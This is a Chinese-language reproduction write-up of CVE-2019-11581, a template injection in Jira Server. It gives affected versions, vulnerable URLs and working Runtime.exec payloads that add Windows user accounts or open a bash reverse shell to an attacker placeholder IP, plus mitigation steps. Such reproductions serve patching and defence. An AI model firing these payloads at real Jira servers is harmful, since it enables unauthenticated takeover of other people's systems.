Atlassian JIRA服務器模板注入漏洞復現(CVE-2019-11581)

0x00 漏洞描述

Atlassian Jira是澳大利亞Atlassian公司的一套缺陷跟蹤管理系統。該系統主要用於對工做中各種問題、缺陷進行跟蹤管理。html

Atlassian Jira Server和Jira Data Center存在服務端模板注入漏洞,成功利用此漏洞的攻擊者可對運行受影響版本的Jira Server或Jira Data Center的服務器執行任意命令,從而獲取服務器權限,嚴重危害網絡資產。java

0x01 CVE編號

CVE-2019-11581linux

0x02 漏洞危害等級

高危git

0x03 漏洞影響範圍

AtlassianJira 4.4.x
AtlassianJira 5.x.x
AtlassianJira 6.x.x
AtlassianJira 7.0.x
github

AtlassianJira 7.1.xweb

AtlassianJira 7.2.x
AtlassianJira 7.3.x
AtlassianJira 7.4.x
AtlassianJira 7.5.x
AtlassianJira 7.6.x < 7.6.14
AtlassianJira 7.7.x
AtlassianJira 7.8.x
AtlassianJira 7.9.x
AtlassianJira 7.10.x
AtlassianJira 7.11.x
AtlassianJira 7.12.x
AtlassianJira 7.13.x < 7.13.5
AtlassianJira 8.0.x < 8.0.3
AtlassianJira 8.1.x < 8.1.2
AtlassianJira 8.2.x < 8.2.3
shell

0x04 漏洞簡析

1.利用前提條件:

第一種,未受權代碼執行利用條件:Jira已配置好SMTP服務器,且需開啓「聯繫網站管理員表單」功能。(從WEB界面設計上看,實際上若是沒配置SMTP服務器,沒法開啓此功能windows

第二種利用場景前提是拿到Jira管理員的權限,利用條件較難知足,這裏主要分析第一種狀況。緣由在於atlassian-jira/WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators 未對Subject(郵件主題)處進行過濾,用戶傳入的郵件主題被看成template(模板)指令執行。在任何一種狀況下,成功利用此漏洞的攻擊者均可在運行受影響版本的Jira Server或Jira Data Center的系統上執行任意命令。bash

2.如下兩種url漏洞驗證方式:服務器

第一種無需管理員帳戶權限:http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

第二種需管理員帳戶權限:http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa 

若是出現如下運行版本號則爲存在漏洞。

0x05 漏洞復現

1. 漏洞利用條件

聯繫管理員處必須開啓 (須要知道後臺管理員帳號密碼)

2.環境準備:

Atlassian JIRAv7.13.0 (以該版本爲例,該版本存在漏洞)下載地址:

https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe 

安裝過程再也不描述(按照提示進行安裝,先在官方註冊一個帳號而後拿到一個試用期序列號並進行安裝),注意,到了郵件配置那一步經儘可能選之後(默認就是),而後進入後臺配置。

3.確認未登錄狀態下漏洞的存在

訪問以下URL(無需管理員帳戶權限):

http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

若是提示以下圖,這說明沒有配置聯繫管理員是沒法觸發漏洞。

 

請登錄後臺開啓聯繫管理員,配置地址以下:

http://10.10.20.116:8080/secure/admin/EditApplicationProperties!default.jspa

默認是關閉的,須要配置了STMP發信後才能開啓,配置STMP的時候能夠測試鏈接,服務器必須開25端口,否則不能發郵件,下圖是開啓成功

4.未登錄狀態下觸發漏洞

訪問

http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

在Subject填入payload,注意,我這裏環境是windows機器,因此能夠添加帳號觀察,Linux能夠用反彈shell的代碼等等,反正換成本身想執行的命令。

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk abc@ABC123 /add').waitFor()

 

發送了後可能會等一下子,由於要加入郵件隊列。這時候再上服務器執行net user查看,發現正是剛剛執行命令添加的帳戶。

5. 登錄管理員帳號觸發漏洞

登錄管理員帳號,而後訪問以下URL:

http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa

填入payload,以下,注意執行命令添加帳號的帳戶名

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk01 abc@ABC123 /add').waitFor()

 

 

linux下可執行:
目標Jira系統可執行的POC
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://www.baidu.com').waitFor()
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -i >& /dev/tcp/攻擊者IP/2333 0>&1').waitFor()
攻擊者主機執行:nc  -lvvp 2333

0x06 漏洞修復

1.臨時處置建議
若沒法及時升級Jira,可採起如下緩解措施:
1.禁止訪問http://ip:port/secure/ContactAdministrators!default.jspa
2.關閉聯繫網站管理員表單功能,具體步驟以下:
設置 => 系統 => 編輯設置 => 聯繫管理員表單處選擇「關」,而後點擊最下面的「更新」保存設置。
 

編輯設置

 

關閉聯繫網站管理員表單功能

2.處置建議

1.升級到不受漏洞影響的版本。

2.對http://ip:port/secure/admin/SendBulkMail!default.jspa限制訪問的源ip

0x07 參考文獻

https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw

https://github.com/jas502n/CVE-2019-11581

相關文章
相關標籤/搜索